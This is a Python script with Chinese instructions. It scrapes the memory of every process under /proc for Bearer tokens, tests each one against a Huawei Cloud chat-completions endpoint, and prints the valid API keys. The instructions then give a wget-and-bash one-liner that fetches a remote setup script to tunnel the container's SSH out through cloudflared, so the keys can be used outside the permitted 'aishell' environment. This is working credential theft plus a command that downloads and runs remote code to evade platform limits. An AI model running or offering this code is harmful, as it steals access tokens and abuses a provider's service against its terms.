import os
import re
import subprocess
import json

tokens = set()

pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

print(f"正在扫描 {len(pids)} 个进程的内存，请稍候...")

for pid in pids:
    try:
        with open(f'/proc/{pid}/maps', 'r') as f:
            for line in f:
                parts = line.split()
                if len(parts) < 2:
                    continue
                perms = parts[1]
                
                if 'r' not in perms:
                    continue
                    
                addrs = parts[0].split('-')
                if len(addrs) != 2:
                    continue
                    
                start = int(addrs[0], 16)
                end = int(addrs[1], 16)
                size = end - start
                
                if size > 500 * 1024 * 1024:
                    continue
                    
                try:
                    with open(f'/proc/{pid}/mem', 'rb') as mem:
                        mem.seek(start)
                        data = mem.read(size)
                        # 正则匹配 Bearer token
                        for m in re.finditer(b'Bearer ([A-Za-z0-9+/=_-]+)', data):
                            val = m.group(1).decode(errors='replace')
                            if len(val) > 100:
                                tokens.add(val)
                except (OSError, ValueError, OverflowError):
                    continue
    except (FileNotFoundError, PermissionError, ProcessLookupError):
        continue

print(f"扫描完毕，共发现 {len(tokens)} 个不重复的 Tokens。开始验证...")
print("-" * 50)

for i, token in enumerate(tokens):
    try:
        result = subprocess.run([
            'curl', '-s', '-w', '\\nHTTP_STATUS: %{http_code}',
            '-H', f'Authorization: Bearer {token}',
            '-H', 'Content-Type: application/json',
            'https://tokenhub.developer.huaweicloud.com/v2/chat/completions',
            '-d', '{"model":"glm-5.1","messages":[{"role":"user","content":"你好"}],"max_tokens":5}'
        ], capture_output=True, text=True, timeout=15)
        
        output = result.stdout.strip()
        print(token)
        print(f"Token #{i+1} (len={len(token)}): {output[:200]}")

    except subprocess.TimeoutExpired:
        print(f"Token #{i+1} (len={len(token)}): 请求超时 (Timeout)")
    except Exception as e:
        print(f"Token #{i+1} (len={len(token)}): 发生错误 - {str(e)}")

保存后直接python执行脚本，就会输出apikey。接口调用被限制在aishell内调用。 apikey有效期一天左右。

想脱离AISHELL使用？用cloudflared隧道把容器的ssh穿透出来！见评论区：https://51.ruyo.net/19346.html

wget -N --no-check-certificate https://raw.githubusercontent.com/lsy1291455142/hw_aishell/main/setup_cloudflared_ssh.sh && chmod +x setup_cloudflared_ssh.sh && bash setup_cloudflared_ssh.sh